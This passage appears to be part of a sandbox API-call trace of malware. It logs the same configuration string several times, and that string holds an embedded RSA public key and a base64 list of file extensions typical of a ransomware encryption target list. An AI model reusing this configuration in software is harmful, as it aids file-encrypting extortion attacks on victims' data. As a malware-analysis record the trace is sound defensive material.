XBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLn